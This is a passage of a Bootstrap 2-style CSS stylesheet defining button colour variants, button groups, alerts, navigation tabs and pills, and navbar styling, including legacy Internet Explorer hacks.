#ffffff; 2696 | background-color: #0044cc; 2697 | *background-color: #003bb3; 2698 | } 2699 | .btn-primary:active, 2700 | .btn-primary.active { 2701 | background-color: #003399 \9; 2702 | } 2703 | .btn-warning { 2704 | color: #ffffff; 2705 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 2706 | background-color: #faa732; 2707 | background-image: -moz-linear-gradient(top, #fbb450, #f89406); 2708 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406)); 2709 | background-image: -webkit-linear-gradient(top, #fbb450, #f89406); 2710 | background-image: -o-linear-gradient(top, #fbb450, #f89406); 2711 | background-image: linear-gradient(to bottom, #fbb450, #f89406); 2712 | background-repeat: repeat-x; 2713 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fff89406', GradientType=0); 2714 | border-color: #f89406 #f89406 #ad6704; 2715 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 2716 | *background-color: #f89406; 2717 | /* Darken IE7 buttons by default so they stand out more given they won't have borders */ 2718 | 2719 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 2720 | } 2721 | .btn-warning:hover, 2722 | .btn-warning:active, 2723 | .btn-warning.active, 2724 | .btn-warning.disabled, 2725 | .btn-warning[disabled] { 2726 | color: #ffffff; 2727 | background-color: #f89406; 2728 | *background-color: #df8505; 2729 | } 2730 | .btn-warning:active, 2731 | .btn-warning.active { 2732 | background-color: #c67605 \9; 2733 | } 2734 | .btn-danger { 2735 | color: #ffffff; 2736 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 2737 | background-color: #da4f49; 2738 | background-image: -moz-linear-gradient(top, #ee5f5b, #bd362f); 2739 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#bd362f)); 2740 | background-image: -webkit-linear-gradient(top, #ee5f5b, #bd362f); 2741 | background-image: -o-linear-gradient(top, #ee5f5b, #bd362f); 2742 | background-image: linear-gradient(to bottom, #ee5f5b, #bd362f); 2743 | background-repeat: repeat-x; 2744 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b', endColorstr='#ffbd362f', GradientType=0); 2745 | border-color: #bd362f #bd362f #802420; 2746 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 2747 | *background-color: #bd362f; 2748 | /* Darken IE7 buttons by default so they stand out more given they won't have borders */ 2749 | 2750 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 2751 | } 2752 | .btn-danger:hover, 2753 | .btn-danger:active, 2754 | .btn-danger.active, 2755 | .btn-danger.disabled, 2756 | .btn-danger[disabled] { 2757 | color: #ffffff; 2758 | background-color: #bd362f; 2759 | *background-color: #a9302a; 2760 | } 2761 | .btn-danger:active, 2762 | .btn-danger.active { 2763 | background-color: #942a25 \9; 2764 | } 2765 | .btn-success { 2766 | color: #ffffff; 2767 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 2768 | background-color: #5bb75b; 2769 | background-image: -moz-linear-gradient(top, #62c462, #51a351); 2770 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#51a351)); 2771 | background-image: -webkit-linear-gradient(top, #62c462, #51a351); 2772 | background-image: -o-linear-gradient(top, #62c462, #51a351); 2773 | background-image: linear-gradient(to bottom, #62c462, #51a351); 2774 | background-repeat: repeat-x; 2775 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462', endColorstr='#ff51a351', GradientType=0); 2776 | border-color: #51a351 #51a351 #387038; 2777 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 2778 | *background-color: #51a351; 2779 | /* Darken IE7 buttons by default so they stand out more given they won't have borders */ 2780 | 2781 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 2782 | } 2783 | .btn-success:hover, 2784 | .btn-success:active, 2785 | .btn-success.active, 2786 | .btn-success.disabled, 2787 | .btn-success[disabled] { 2788 | color: #ffffff; 2789 | background-color: #51a351; 2790 | *background-color: #499249; 2791 | } 2792 | .btn-success:active, 2793 | .btn-success.active { 2794 | background-color: #408140 \9; 2795 | } 2796 | .btn-info { 2797 | color: #ffffff; 2798 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 2799 | background-color: #49afcd; 2800 | background-image: -moz-linear-gradient(top, #5bc0de, #2f96b4); 2801 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f96b4)); 2802 | background-image: -webkit-linear-gradient(top, #5bc0de, #2f96b4); 2803 | background-image: -o-linear-gradient(top, #5bc0de, #2f96b4); 2804 | background-image: linear-gradient(to bottom, #5bc0de, #2f96b4); 2805 | background-repeat: repeat-x; 2806 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2f96b4', GradientType=0); 2807 | border-color: #2f96b4 #2f96b4 #1f6377; 2808 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 2809 | *background-color: #2f96b4; 2810 | /* Darken IE7 buttons by default so they stand out more given they won't have borders */ 2811 | 2812 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 2813 | } 2814 | .btn-info:hover, 2815 | .btn-info:active, 2816 | .btn-info.active, 2817 | .btn-info.disabled, 2818 | .btn-info[disabled] { 2819 | color: #ffffff; 2820 | background-color: #2f96b4; 2821 | *background-color: #2a85a0; 2822 | } 2823 | .btn-info:active, 2824 | .btn-info.active { 2825 | background-color: #24748c \9; 2826 | } 2827 | .btn-inverse { 2828 | color: #ffffff; 2829 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 2830 | background-color: #363636; 2831 | background-image: -moz-linear-gradient(top, #444444, #222222); 2832 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#444444), to(#222222)); 2833 | background-image: -webkit-linear-gradient(top, #444444, #222222); 2834 | background-image: -o-linear-gradient(top, #444444, #222222); 2835 | background-image: linear-gradient(to bottom, #444444, #222222); 2836 | background-repeat: repeat-x; 2837 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff444444', endColorstr='#ff222222', GradientType=0); 2838 | border-color: #222222 #222222 #000000; 2839 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 2840 | *background-color: #222222; 2841 | /* Darken IE7 buttons by default so they stand out more given they won't have borders */ 2842 | 2843 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 2844 | } 2845 | .btn-inverse:hover, 2846 | .btn-inverse:active, 2847 | .btn-inverse.active, 2848 | .btn-inverse.disabled, 2849 | .btn-inverse[disabled] { 2850 | color: #ffffff; 2851 | background-color: #222222; 2852 | *background-color: #151515; 2853 | } 2854 | .btn-inverse:active, 2855 | .btn-inverse.active { 2856 | background-color: #080808 \9; 2857 | } 2858 | button.btn, 2859 | input[type="submit"].btn { 2860 | *padding-top: 3px; 2861 | *padding-bottom: 3px; 2862 | } 2863 | button.btn::-moz-focus-inner, 2864 | input[type="submit"].btn::-moz-focus-inner { 2865 | padding: 0; 2866 | border: 0; 2867 | } 2868 | button.btn.btn-large, 2869 | input[type="submit"].btn.btn-large { 2870 | *padding-top: 7px; 2871 | *padding-bottom: 7px; 2872 | } 2873 | button.btn.btn-small, 2874 | input[type="submit"].btn.btn-small { 2875 | *padding-top: 3px; 2876 | *padding-bottom: 3px; 2877 | } 2878 | button.btn.btn-mini, 2879 | input[type="submit"].btn.btn-mini { 2880 | *padding-top: 1px; 2881 | *padding-bottom: 1px; 2882 | } 2883 | .btn-link, 2884 | .btn-link:active, 2885 | .btn-link[disabled] { 2886 | background-color: transparent; 2887 | background-image: none; 2888 | -webkit-box-shadow: none; 2889 | -moz-box-shadow: none; 2890 | box-shadow: none; 2891 | } 2892 | .btn-link { 2893 | border-color: transparent; 2894 | cursor: pointer; 2895 | color: #0088cc; 2896 | -webkit-border-radius: 0; 2897 | -moz-border-radius: 0; 2898 | border-radius: 0; 2899 | } 2900 | .btn-link:hover { 2901 | color: #005580; 2902 | text-decoration: underline; 2903 | background-color: transparent; 2904 | } 2905 | .btn-link[disabled]:hover { 2906 | color: #333333; 2907 | text-decoration: none; 2908 | } 2909 | .btn-group { 2910 | position: relative; 2911 | display: inline-block; 2912 | *display: inline; 2913 | /* IE7 inline-block hack */ 2914 | 2915 | *zoom: 1; 2916 | font-size: 0; 2917 | vertical-align: middle; 2918 | white-space: nowrap; 2919 | *margin-left: .3em; 2920 | } 2921 | .btn-group:first-child { 2922 | *margin-left: 0; 2923 | } 2924 | .btn-group + .btn-group { 2925 | margin-left: 5px; 2926 | } 2927 | .btn-toolbar { 2928 | font-size: 0; 2929 | margin-top: 10px; 2930 | margin-bottom: 10px; 2931 | } 2932 | .btn-toolbar .btn + .btn, 2933 | .btn-toolbar .btn-group + .btn, 2934 | .btn-toolbar .btn + .btn-group { 2935 | margin-left: 5px; 2936 | } 2937 | .btn-group > .btn { 2938 | position: relative; 2939 | -webkit-border-radius: 0; 2940 | -moz-border-radius: 0; 2941 | border-radius: 0; 2942 | } 2943 | .btn-group > .btn + .btn { 2944 | margin-left: -1px; 2945 | } 2946 | .btn-group > .btn, 2947 | .btn-group > .dropdown-menu { 2948 | font-size: 14px; 2949 | } 2950 | .btn-group > .btn-mini { 2951 | font-size: 11px; 2952 | } 2953 | .btn-group > .btn-small { 2954 | font-size: 12px; 2955 | } 2956 | .btn-group > .btn-large { 2957 | font-size: 16px; 2958 | } 2959 | .btn-group > .btn:first-child { 2960 | margin-left: 0; 2961 | -webkit-border-top-left-radius: 4px; 2962 | -moz-border-radius-topleft: 4px; 2963 | border-top-left-radius: 4px; 2964 | -webkit-border-bottom-left-radius: 4px; 2965 | -moz-border-radius-bottomleft: 4px; 2966 | border-bottom-left-radius: 4px; 2967 | } 2968 | .btn-group > .btn:last-child, 2969 | .btn-group > .dropdown-toggle { 2970 | -webkit-border-top-right-radius: 4px; 2971 | -moz-border-radius-topright: 4px; 2972 | border-top-right-radius: 4px; 2973 | -webkit-border-bottom-right-radius: 4px; 2974 | -moz-border-radius-bottomright: 4px; 2975 | border-bottom-right-radius: 4px; 2976 | } 2977 | .btn-group > .btn.large:first-child { 2978 | margin-left: 0; 2979 | -webkit-border-top-left-radius: 6px; 2980 | -moz-border-radius-topleft: 6px; 2981 | border-top-left-radius: 6px; 2982 | -webkit-border-bottom-left-radius: 6px; 2983 | -moz-border-radius-bottomleft: 6px; 2984 | border-bottom-left-radius: 6px; 2985 | } 2986 | .btn-group > .btn.large:last-child, 2987 | .btn-group > .large.dropdown-toggle { 2988 | -webkit-border-top-right-radius: 6px; 2989 | -moz-border-radius-topright: 6px; 2990 | border-top-right-radius: 6px; 2991 | -webkit-border-bottom-right-radius: 6px; 2992 | -moz-border-radius-bottomright: 6px; 2993 | border-bottom-right-radius: 6px; 2994 | } 2995 | .btn-group > .btn:hover, 2996 | .btn-group > .btn:focus, 2997 | .btn-group > .btn:active, 2998 | .btn-group > .btn.active { 2999 | z-index: 2; 3000 | } 3001 | .btn-group .dropdown-toggle:active, 3002 | .btn-group.open .dropdown-toggle { 3003 | outline: 0; 3004 | } 3005 | .btn-group > .btn + .dropdown-toggle { 3006 | padding-left: 8px; 3007 | padding-right: 8px; 3008 | -webkit-box-shadow: inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05); 3009 | -moz-box-shadow: inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05); 3010 | box-shadow: inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05); 3011 | *padding-top: 5px; 3012 | *padding-bottom: 5px; 3013 | } 3014 | .btn-group > .btn-mini + .dropdown-toggle { 3015 | padding-left: 5px; 3016 | padding-right: 5px; 3017 | *padding-top: 2px; 3018 | *padding-bottom: 2px; 3019 | } 3020 | .btn-group > .btn-small + .dropdown-toggle { 3021 | *padding-top: 5px; 3022 | *padding-bottom: 4px; 3023 | } 3024 | .btn-group > .btn-large + .dropdown-toggle { 3025 | padding-left: 12px; 3026 | padding-right: 12px; 3027 | *padding-top: 7px; 3028 | *padding-bottom: 7px; 3029 | } 3030 | .btn-group.open .dropdown-toggle { 3031 | background-image: none; 3032 | -webkit-box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05); 3033 | -moz-box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05); 3034 | box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05); 3035 | } 3036 | .btn-group.open .btn.dropdown-toggle { 3037 | background-color: #e6e6e6; 3038 | } 3039 | .btn-group.open .btn-primary.dropdown-toggle { 3040 | background-color: #0044cc; 3041 | } 3042 | .btn-group.open .btn-warning.dropdown-toggle { 3043 | background-color: #f89406; 3044 | } 3045 | .btn-group.open .btn-danger.dropdown-toggle { 3046 | background-color: #bd362f; 3047 | } 3048 | .btn-group.open .btn-success.dropdown-toggle { 3049 | background-color: #51a351; 3050 | } 3051 | .btn-group.open .btn-info.dropdown-toggle { 3052 | background-color: #2f96b4; 3053 | } 3054 | .btn-group.open .btn-inverse.dropdown-toggle { 3055 | background-color: #222222; 3056 | } 3057 | .btn .caret { 3058 | margin-top: 8px; 3059 | margin-left: 0; 3060 | } 3061 | .btn-mini .caret, 3062 | .btn-small .caret, 3063 | .btn-large .caret { 3064 | margin-top: 6px; 3065 | } 3066 | .btn-large .caret { 3067 | border-left-width: 5px; 3068 | border-right-width: 5px; 3069 | border-top-width: 5px; 3070 | } 3071 | .dropup .btn-large .caret { 3072 | border-bottom-width: 5px; 3073 | } 3074 | .btn-primary .caret, 3075 | .btn-warning .caret, 3076 | .btn-danger .caret, 3077 | .btn-info .caret, 3078 | .btn-success .caret, 3079 | .btn-inverse .caret { 3080 | border-top-color: #ffffff; 3081 | border-bottom-color: #ffffff; 3082 | } 3083 | .btn-group-vertical { 3084 | display: inline-block; 3085 | *display: inline; 3086 | /* IE7 inline-block hack */ 3087 | 3088 | *zoom: 1; 3089 | } 3090 | .btn-group-vertical .btn { 3091 | display: block; 3092 | float: none; 3093 | width: 100%; 3094 | -webkit-border-radius: 0; 3095 | -moz-border-radius: 0; 3096 | border-radius: 0; 3097 | } 3098 | .btn-group-vertical .btn + .btn { 3099 | margin-left: 0; 3100 | margin-top: -1px; 3101 | } 3102 | .btn-group-vertical .btn:first-child { 3103 | -webkit-border-radius: 4px 4px 0 0; 3104 | -moz-border-radius: 4px 4px 0 0; 3105 | border-radius: 4px 4px 0 0; 3106 | } 3107 | .btn-group-vertical .btn:last-child { 3108 | -webkit-border-radius: 0 0 4px 4px; 3109 | -moz-border-radius: 0 0 4px 4px; 3110 | border-radius: 0 0 4px 4px; 3111 | } 3112 | .btn-group-vertical .btn-large:first-child { 3113 | -webkit-border-radius: 6px 6px 0 0; 3114 | -moz-border-radius: 6px 6px 0 0; 3115 | border-radius: 6px 6px 0 0; 3116 | } 3117 | .btn-group-vertical .btn-large:last-child { 3118 | -webkit-border-radius: 0 0 6px 6px; 3119 | -moz-border-radius: 0 0 6px 6px; 3120 | border-radius: 0 0 6px 6px; 3121 | } 3122 | .alert { 3123 | padding: 8px 35px 8px 14px; 3124 | margin-bottom: 20px; 3125 | text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); 3126 | background-color: #fcf8e3; 3127 | border: 1px solid #fbeed5; 3128 | -webkit-border-radius: 4px; 3129 | -moz-border-radius: 4px; 3130 | border-radius: 4px; 3131 | color: #c09853; 3132 | } 3133 | .alert h4 { 3134 | margin: 0; 3135 | } 3136 | .alert .close { 3137 | position: relative; 3138 | top: -2px; 3139 | right: -21px; 3140 | line-height: 20px; 3141 | } 3142 | .alert-success { 3143 | background-color: #dff0d8; 3144 | border-color: #d6e9c6; 3145 | color: #468847; 3146 | } 3147 | .alert-danger, 3148 | .alert-error { 3149 | background-color: #f2dede; 3150 | border-color: #eed3d7; 3151 | color: #b94a48; 3152 | } 3153 | .alert-info { 3154 | background-color: #d9edf7; 3155 | border-color: #bce8f1; 3156 | color: #3a87ad; 3157 | } 3158 | .alert-block { 3159 | padding-top: 14px; 3160 | padding-bottom: 14px; 3161 | } 3162 | .alert-block > p, 3163 | .alert-block > ul { 3164 | margin-bottom: 0; 3165 | } 3166 | .alert-block p + p { 3167 | margin-top: 5px; 3168 | } 3169 | .nav { 3170 | margin-left: 0; 3171 | margin-bottom: 20px; 3172 | list-style: none; 3173 | } 3174 | .nav > li > a { 3175 | display: block; 3176 | } 3177 | .nav > li > a:hover { 3178 | text-decoration: none; 3179 | background-color: #eeeeee; 3180 | } 3181 | .nav > .pull-right { 3182 | float: right; 3183 | } 3184 | .nav-header { 3185 | display: block; 3186 | padding: 3px 15px; 3187 | font-size: 11px; 3188 | font-weight: bold; 3189 | line-height: 20px; 3190 | color: #999999; 3191 | text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); 3192 | text-transform: uppercase; 3193 | } 3194 | .nav li + .nav-header { 3195 | margin-top: 9px; 3196 | } 3197 | .nav-list { 3198 | padding-left: 15px; 3199 | padding-right: 15px; 3200 | margin-bottom: 0; 3201 | } 3202 | .nav-list > li > a, 3203 | .nav-list .nav-header { 3204 | margin-left: -15px; 3205 | margin-right: -15px; 3206 | text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); 3207 | } 3208 | .nav-list > li > a { 3209 | padding: 3px 15px; 3210 | } 3211 | .nav-list > .active > a, 3212 | .nav-list > .active > a:hover { 3213 | color: #ffffff; 3214 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2); 3215 | background-color: #0088cc; 3216 | } 3217 | .nav-list [class^="icon-"], 3218 | .nav-list [class*=" icon-"] { 3219 | margin-right: 2px; 3220 | } 3221 | .nav-list .divider { 3222 | *width: 100%; 3223 | height: 1px; 3224 | margin: 9px 1px; 3225 | *margin: -5px 0 5px; 3226 | overflow: hidden; 3227 | background-color: #e5e5e5; 3228 | border-bottom: 1px solid #ffffff; 3229 | } 3230 | .nav-tabs, 3231 | .nav-pills { 3232 | *zoom: 1; 3233 | } 3234 | .nav-tabs:before, 3235 | .nav-pills:before, 3236 | .nav-tabs:after, 3237 | .nav-pills:after { 3238 | display: table; 3239 | content: ""; 3240 | line-height: 0; 3241 | } 3242 | .nav-tabs:after, 3243 | .nav-pills:after { 3244 | clear: both; 3245 | } 3246 | .nav-tabs > li, 3247 | .nav-pills > li { 3248 | float: left; 3249 | } 3250 | .nav-tabs > li > a, 3251 | .nav-pills > li > a { 3252 | padding-right: 12px; 3253 | padding-left: 12px; 3254 | margin-right: 2px; 3255 | line-height: 14px; 3256 | } 3257 | .nav-tabs { 3258 | border-bottom: 1px solid #ddd; 3259 | } 3260 | .nav-tabs > li { 3261 | margin-bottom: -1px; 3262 | } 3263 | .nav-tabs > li > a { 3264 | padding-top: 8px; 3265 | padding-bottom: 8px; 3266 | line-height: 20px; 3267 | border: 1px solid transparent; 3268 | -webkit-border-radius: 4px 4px 0 0; 3269 | -moz-border-radius: 4px 4px 0 0; 3270 | border-radius: 4px 4px 0 0; 3271 | } 3272 | .nav-tabs > li > a:hover { 3273 | border-color: #eeeeee #eeeeee #dddddd; 3274 | } 3275 | .nav-tabs > .active > a, 3276 | .nav-tabs > .active > a:hover { 3277 | color: #555555; 3278 | background-color: #ffffff; 3279 | border: 1px solid #ddd; 3280 | border-bottom-color: transparent; 3281 | cursor: default; 3282 | } 3283 | .nav-pills > li > a { 3284 | padding-top: 8px; 3285 | padding-bottom: 8px; 3286 | margin-top: 2px; 3287 | margin-bottom: 2px; 3288 | -webkit-border-radius: 5px; 3289 | -moz-border-radius: 5px; 3290 | border-radius: 5px; 3291 | } 3292 | .nav-pills > .active > a, 3293 | .nav-pills > .active > a:hover { 3294 | color: #ffffff; 3295 | background-color: #0088cc; 3296 | } 3297 | .nav-stacked > li { 3298 | float: none; 3299 | } 3300 | .nav-stacked > li > a { 3301 | margin-right: 0; 3302 | } 3303 | .nav-tabs.nav-stacked { 3304 | border-bottom: 0; 3305 | } 3306 | .nav-tabs.nav-stacked > li > a { 3307 | border: 1px solid #ddd; 3308 | -webkit-border-radius: 0; 3309 | -moz-border-radius: 0; 3310 | border-radius: 0; 3311 | } 3312 | .nav-tabs.nav-stacked > li:first-child > a { 3313 | -webkit-border-top-right-radius: 4px; 3314 | -moz-border-radius-topright: 4px; 3315 | border-top-right-radius: 4px; 3316 | -webkit-border-top-left-radius: 4px; 3317 | -moz-border-radius-topleft: 4px; 3318 | border-top-left-radius: 4px; 3319 | } 3320 | .nav-tabs.nav-stacked > li:last-child > a { 3321 | -webkit-border-bottom-right-radius: 4px; 3322 | -moz-border-radius-bottomright: 4px; 3323 | border-bottom-right-radius: 4px; 3324 | -webkit-border-bottom-left-radius: 4px; 3325 | -moz-border-radius-bottomleft: 4px; 3326 | border-bottom-left-radius: 4px; 3327 | } 3328 | .nav-tabs.nav-stacked > li > a:hover { 3329 | border-color: #ddd; 3330 | z-index: 2; 3331 | } 3332 | .nav-pills.nav-stacked > li > a { 3333 | margin-bottom: 3px; 3334 | } 3335 | .nav-pills.nav-stacked > li:last-child > a { 3336 | margin-bottom: 1px; 3337 | } 3338 | .nav-tabs .dropdown-menu { 3339 | -webkit-border-radius: 0 0 6px 6px; 3340 | -moz-border-radius: 0 0 6px 6px; 3341 | border-radius: 0 0 6px 6px; 3342 | } 3343 | .nav-pills .dropdown-menu { 3344 | -webkit-border-radius: 6px; 3345 | -moz-border-radius: 6px; 3346 | border-radius: 6px; 3347 | } 3348 | .nav .dropdown-toggle .caret { 3349 | border-top-color: #0088cc; 3350 | border-bottom-color: #0088cc; 3351 | margin-top: 6px; 3352 | } 3353 | .nav .dropdown-toggle:hover .caret { 3354 | border-top-color: #005580; 3355 | border-bottom-color: #005580; 3356 | } 3357 | /* move down carets for tabs */ 3358 | .nav-tabs .dropdown-toggle .caret { 3359 | margin-top: 8px; 3360 | } 3361 | .nav .active .dropdown-toggle .caret { 3362 | border-top-color: #fff; 3363 | border-bottom-color: #fff; 3364 | } 3365 | .nav-tabs .active .dropdown-toggle .caret { 3366 | border-top-color: #555555; 3367 | border-bottom-color: #555555; 3368 | } 3369 | .nav > .dropdown.active > a:hover { 3370 | cursor: pointer; 3371 | } 3372 | .nav-tabs .open .dropdown-toggle, 3373 | .nav-pills .open .dropdown-toggle, 3374 | .nav > li.dropdown.open.active > a:hover { 3375 | color: #ffffff; 3376 | background-color: #999999; 3377 | border-color: #999999; 3378 | } 3379 | .nav li.dropdown.open .caret, 3380 | .nav li.dropdown.open.active .caret, 3381 | .nav li.dropdown.open a:hover .caret { 3382 | border-top-color: #ffffff; 3383 | border-bottom-color: #ffffff; 3384 | opacity: 1; 3385 | filter: alpha(opacity=100); 3386 | } 3387 | .tabs-stacked .open > a:hover { 3388 | border-color: #999999; 3389 | } 3390 | .tabbable { 3391 | *zoom: 1; 3392 | } 3393 | .tabbable:before, 3394 | .tabbable:after { 3395 | display: table; 3396 | content: ""; 3397 | line-height: 0; 3398 | } 3399 | .tabbable:after { 3400 | clear: both; 3401 | } 3402 | .tab-content { 3403 | overflow: auto; 3404 | } 3405 | .tabs-below > .nav-tabs, 3406 | .tabs-right > .nav-tabs, 3407 | .tabs-left > .nav-tabs { 3408 | border-bottom: 0; 3409 | } 3410 | .tab-content > .tab-pane, 3411 | .pill-content > .pill-pane { 3412 | display: none; 3413 | } 3414 | .tab-content > .active, 3415 | .pill-content > .active { 3416 | display: block; 3417 | } 3418 | .tabs-below > .nav-tabs { 3419 | border-top: 1px solid #ddd; 3420 | } 3421 | .tabs-below > .nav-tabs > li { 3422 | margin-top: -1px; 3423 | margin-bottom: 0; 3424 | } 3425 | .tabs-below > .nav-tabs > li > a { 3426 | -webkit-border-radius: 0 0 4px 4px; 3427 | -moz-border-radius: 0 0 4px 4px; 3428 | border-radius: 0 0 4px 4px; 3429 | } 3430 | .tabs-below > .nav-tabs > li > a:hover { 3431 | border-bottom-color: transparent; 3432 | border-top-color: #ddd; 3433 | } 3434 | .tabs-below > .nav-tabs > .active > a, 3435 | .tabs-below > .nav-tabs > .active > a:hover { 3436 | border-color: transparent #ddd #ddd #ddd; 3437 | } 3438 | .tabs-left > .nav-tabs > li, 3439 | .tabs-right > .nav-tabs > li { 3440 | float: none; 3441 | } 3442 | .tabs-left > .nav-tabs > li > a, 3443 | .tabs-right > .nav-tabs > li > a { 3444 | min-width: 74px; 3445 | margin-right: 0; 3446 | margin-bottom: 3px; 3447 | } 3448 | .tabs-left > .nav-tabs { 3449 | float: left; 3450 | margin-right: 19px; 3451 | border-right: 1px solid #ddd; 3452 | } 3453 | .tabs-left > .nav-tabs > li > a { 3454 | margin-right: -1px; 3455 | -webkit-border-radius: 4px 0 0 4px; 3456 | -moz-border-radius: 4px 0 0 4px; 3457 | border-radius: 4px 0 0 4px; 3458 | } 3459 | .tabs-left > .nav-tabs > li > a:hover { 3460 | border-color: #eeeeee #dddddd #eeeeee #eeeeee; 3461 | } 3462 | .tabs-left > .nav-tabs .active > a, 3463 | .tabs-left > .nav-tabs .active > a:hover { 3464 | border-color: #ddd transparent #ddd #ddd; 3465 | *border-right-color: #ffffff; 3466 | } 3467 | .tabs-right > .nav-tabs { 3468 | float: right; 3469 | margin-left: 19px; 3470 | border-left: 1px solid #ddd; 3471 | } 3472 | .tabs-right > .nav-tabs > li > a { 3473 | margin-left: -1px; 3474 | -webkit-border-radius: 0 4px 4px 0; 3475 | -moz-border-radius: 0 4px 4px 0; 3476 | border-radius: 0 4px 4px 0; 3477 | } 3478 | .tabs-right > .nav-tabs > li > a:hover { 3479 | border-color: #eeeeee #eeeeee #eeeeee #dddddd; 3480 | } 3481 | .tabs-right > .nav-tabs .active > a, 3482 | .tabs-right > .nav-tabs .active > a:hover { 3483 | border-color: #ddd #ddd #ddd transparent; 3484 | *border-left-color: #ffffff; 3485 | } 3486 | .nav > .disabled > a { 3487 | color: #999999; 3488 | } 3489 | .nav > .disabled > a:hover { 3490 | text-decoration: none; 3491 | background-color: transparent; 3492 | cursor: default; 3493 | } 3494 | .navbar { 3495 | overflow: visible; 3496 | margin-bottom: 20px; 3497 | color: #777777; 3498 | *position: relative; 3499 | *z-index: 2; 3500 | } 3501 | .navbar-inner { 3502 | min-height: 40px; 3503 | padding-left: 20px; 3504 | padding-right: 20px; 3505 | background-color: #fafafa; 3506 | background-image: -moz-linear-gradient(top, #ffffff, #f2f2f2); 3507 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#f2f2f2)); 3508 | background-image: -webkit-linear-gradient(top, #ffffff, #f2f2f2); 3509 | background-image: -o-linear-gradient(top, #ffffff, #f2f2f2); 3510 | background-image: linear-gradient(to bottom, #ffffff, #f2f2f2); 3511 | background-repeat: repeat-x; 3512 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff2f2f2', GradientType=0); 3513 | border: 1px solid #d4d4d4; 3514 | -webkit-border-radius: 4px; 3515 | -moz-border-radius: 4px; 3516 | border-radius: 4px; 3517 | -webkit-box-shadow: 0 1px 4px rgba(0, 0, 0, 0.065); 3518 | -moz-box-shadow: 0 1px 4px rgba(0, 0, 0, 0.065); 3519 | box-shadow: 0 1px 4px rgba(0, 0, 0, 0.065); 3520 | *zoom: 1; 3521 | } 3522 | .navbar-inner:before, 3523 | .navbar-inner:after { 3524 | display: table; 3525 | content: ""; 3526 | line-height: 0; 3527 | } 3528 | .navbar-inner:after { 3529 | clear: both; 3530 | } 3531 | .navbar .container { 3532 | width: auto; 3533 | } 3534 | .nav-collapse.collapse { 3535 | height: auto; 3536 | overflow: visible; 3537 | } 3538 | .navbar .brand { 3539 | float: left; 3540 | display: block; 3541 | padding: 10px 20px 10px; 3542 | margin-left: -20px; 3543 | font-size: 20px; 3544 | font-weight: 200; 3545 | color: #777777; 3546 | text-shadow: 0 1px 0 #ffffff; 3547 | } 3548 | .navbar .brand:hover { 3549 | text-decoration: none; 3550 | } 3551 | .navbar-text { 3552 | margin-bottom: 0; 3553 | line-height: 40px; 3554 | } 3555 | .navbar-link { 3556 | color: #777777; 3557 | } 3558 | .navbar-link:hover { 3559 | color: #333333; 3560 | } 3561 | .navbar .divider-vertical { 3562 | height: 40px; 3563 | margin: 0 9px; 3564 | border-left: 1px solid #f2f2f2; 3565 | border-right: 1px solid #ffffff; 3566 | } 3567 | .navbar .btn, 3568 | .navbar .btn-group { 3569 | margin-top: 5px; 3570 | } 3571 | .navbar .btn-group .btn, 3572 | .navbar .input-prepend .btn, 3573 | .navbar .input-append .btn { 3574 | margin-top: 0; 3575 | } 3576 | .navbar-form { 3577 | margin-bottom: 0; 3578 | *zoom: 1; 3579 | } 3580 | .navbar-form:before, 3581 | .navbar-form:after { 3582 | display: table; 3583 | content: ""; 3584 | line-height: 0; 3585 | } 3586 | .navbar-form:after { 3587 | clear: both; 3588 | } 3589 | .navbar-form input, 3590 | .navbar-form select, 3591 | .navbar-form .radio, 3592 | .navbar-form .checkbox { 3593 | margin-top: 5px; 3594 | } 3595 | .navbar-form input, 3596 | .navbar-form select, 3597 | .navbar-form .btn { 3598 | display: inline-block; 3599 | margin-bottom: 0; 3600 | } 3601 | .navbar-form input[type="image"], 3602 | .navbar-form input[type="checkbox"], 3603 | .navbar-form 